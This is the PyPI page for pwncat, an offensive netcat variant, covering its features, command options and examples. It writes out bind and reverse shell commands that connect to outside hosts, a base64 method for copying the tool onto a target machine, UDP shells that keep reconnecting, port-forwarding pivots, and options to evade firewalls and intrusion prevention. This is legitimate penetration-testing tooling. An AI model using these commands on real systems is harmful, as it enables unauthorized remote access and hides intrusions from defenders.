Skip to main content
Join the official 2020 Python Developers SurveyStart the survey!

Netcat on steroids with Firewall and IPS evasion, bind and reverse shell and port-forwarding.

Project description

pwncat

Install | TL;DR | Features | Docs | Usage | Examples | FAQ | cytopia sec tools | Contributing | Disclaimer | License

PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status Build Status Build Status Build Status

 

Netcat on steroids with Firewall and IDS/IPS evasion, bind and reverse shell and port forwarding magic.

 

:warning: Warning: it is currently in feature-incomplete alpha state. Expect bugs and options to change. (Roadmap)

Motivation

Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of a quick port forwarding?

This one got you covered.

Apart from that the current features of nc, ncat or socat just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

:tada: Install

pip install pwncat

:coffee: TL;DR

This is just a quick get-you-started overview. For more advanced techniques see :computer: Usage or :bulb: Examples.

Deploy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Summon shells

# Bind shell
pwncat -l -e '/bin/bash' 8080
# Reverse shell (Ctrl+c proof)
pwncat -e '/bin/bash' example.com 4444 --recon --recon-wait 10
# Reverse UDP shell (Ctrl+c proof)
pwncat -e '/bin/bash' example.com 4444 -u --udp-ping-intvl 10

Local port forward -L (listening proxy)

# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote port forward -R (double client Proxy)

# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH Tunnelling for fun and profit :link:
pwncat example: Port forwarding magic

:star: Features

pwncat has many features, below is only a list of outstanding characteristics.

Feature Description
Bind shell Create bind shells
Reverse shell Create reverse shells
Port Forward Local and remote port forward (Proxy server/client)
Ctrl+c Reverse shell can reconnect if you accidentally hit Ctrl+c
Detect Egress Scan and report open egress ports on the target
Evade FW Evade egress firewalls by round-robin outgoing ports
Evade IPS Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts
UDP rev shell Try this with the traditional netcat
TCP / UDP Full TCP and UDP support
Python 2+3 Works with Python 2 and Python 3
Cross OS Should work on Linux, MacOS and Windows as long as Python is available
Compatability Use the traditional netcat as a client or server together with pwncat

:closed_book: Documentation

Documentation will evolve over time.

:computer: Usage

See all available options below.

<stront>Click to expand
usage: pwncat [-Cnuv] [-e cmd] hostname port
       pwncat [-Cnuv] [-e cmd] -l [hostname] port
       pwncat [-Cnuv] -z hostname port
       pwncat [-Cnuv] -L addr:port hostname port
       pwncat [-Cnuv] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help


Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See advanced options for how to automatically
reconnect.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.

  -L addr:port, --local addr:port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        hostname/port (positional arguments). Same as with -l.
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        address given via -L/--local addr:port.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
  -C, --crlf            Replace LF with CRLF from stdin (default: don't)
  -n, --nodns           Do not resolve DNS.
  -u, --udp             Use UDP for the connection instead of TCP.
  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.
  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

advanced arguments:
  --http                Connect / Listen / Local forward mode (TCP only):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen / Local forward mode (TCP only):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is unterrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind x            Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Use 0 to re-init
                        endlessly. (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to. Use comma separated string
                        such as '80,81,82' or a range of ports '80-100'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

  --reconn x            Connect mode / Zero-I/O mode (TCP only):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Use 0 to retry endlessly.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)

  --reconn-wait s       Connect mode / Zero-I/O mode (TCP only):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode / Zero-I/O mode (TCP only):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82' or a range
                        of ports '80-100'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  -w s, --wait s        Connect mode (TCP only):
                        If a connection and stdin are idle for more than s sec,
                        then the connection is silently closed and the client
                        will exit. (default: wait forever).
                        Note: if --reconn is specified, the connection will be
                        re-opened.

  --udp-ping-init       Connect mode / Zero-I/O mode (UDP only):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --udp-ping-init option instructs the client to send
                        one single initial ping packet to the server, so that it
                        is able to talk to the client.
                        This is the only way to make a UDP reverse shell work.
                        See --udp-ping-word for what char/string to send as
                        initial ping packet (default: '\0')

  --udp-ping-intvl s    Connect mode / Zero-I/O mode (UDP only):
                        Instruct the UDP client to send ping intervalls every
                        s seconds. This allows you to restart your UDP server
                        and just wait for the client to report back in.
                        This might be handy for stable UDP reverse shells ;-)
                        See --udp-ping-word for what char/string to send as
                        initial ping packet (default: '\0')

  --udp-ping-word str   Connect mode / Zero-I/O mode (UDP only):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --udp-ping-robin port
                        Zero-I/O mode (UDP only):
                        Instruct the UDP client to shuffle the specified ports
                        in round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use --udp-ping-intvl 0 to be faster.

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won't listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

:bulb: Examples

Upgrade your shell to interactive

This is a universal advice and not only works with pwncat, but with all other common tools.

When connected with a reverse or bind shell you'll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you'll need to attach it to a TTY. Here's how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

stty size
stty echo -raw
fg
reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <num>   # values found above by 'stty size'

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming to you, even if you kill your listening server temporarily.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --udp-ping-intvl  # Ping the server every 10 seconds

pwncat --exec /bin/bash --nodns --udp --udp-ping-intvl 10 10.0.0.1 4444

If you feel like, you can start your listener in full TRACE logging mode to figure out what's going on

# The server
# -u   # Use UDP mode
# -l   # Listen for incoming connections
pwncat -u -l -vvvvv

You will see (among all the gibberish) a TRACE message:

[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:43213'

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

# The server
pwncat -u -l -vvvvv

Now wait a maximum of 10 seconds and you can issue commands. Having no info messages at all, is also troublesome. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

# The server
# 2> comm.txt   # This redirects the messages to a logfile instead
pwncat -u -l -vvv 2> comm.txt

Now all you'll see in your server window are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'

Port forwarding magic

Local TCP port forwarding

Scenario

  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat 72.0.0.1 3306     |      pwncat \                 |
                              |        -L 72.0.0.1:3306 \     |
                              |         10.0.0.1 3306         |

Local UDP port forwarding

Scenario

  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -l 4444           |      pwncat --reconn \        |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Remote UDP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

:information_source: FAQ

Q: Is pwncat compatible with netcat?

A: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.

Q: Does it work on X?

A: In its current state it works with Python 2 and 3 and is fully tested on Linux and MacOS. Windows support is still experimental.

Q: I found a bug / I have to suggest a new feature! What can I do?

A: For bug reports or enhancements, please open an issue here.

:lock: cytopia sec tools

Below is a list of sec tools and docs I am maintaining.

Name Category Language Description
offsec Documentation Markdown Offsec checklist, tools and examples
header-fuzz Enumeration Bash Fuzz HTTP headers
smtp-user-enum Enumeration Python 2+3 SMTP users enumerator
urlbuster Enumeration Python 2+3 Mutable web directory fuzzer
pwncat Pivoting Python 2+3 Cross-platform netcat on steroids
badchars Reverse Engineering Python 2+3 Badchar generator
fuzza Reverse Engineering Python 2+3 TCP fuzzing tool

:octocat: Contributing

See Contributing guidelines to help to improve this project.

:exclamation: Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

:page_facing_up: License

MIT License

Copyright (c) 2020 cytopia

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for pwncat, version 0.0.9a0
Filename, size File type Python version Upload date Hashes
Filename, size pwncat-0.0.9a0-py2.py3-none-any.whl (26.0 kB) File type Wheel Python version py2.py3 Upload date Hashes View
Filename, size pwncat-0.0.9a0.tar.gz (33.3 kB) File type Source Python version None Upload date Hashes View

Supported by

Pingdom Pingdom Monitoring Google Google Object Storage and Download Analytics Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN DigiCert DigiCert EV certificate StatusPage StatusPage Status page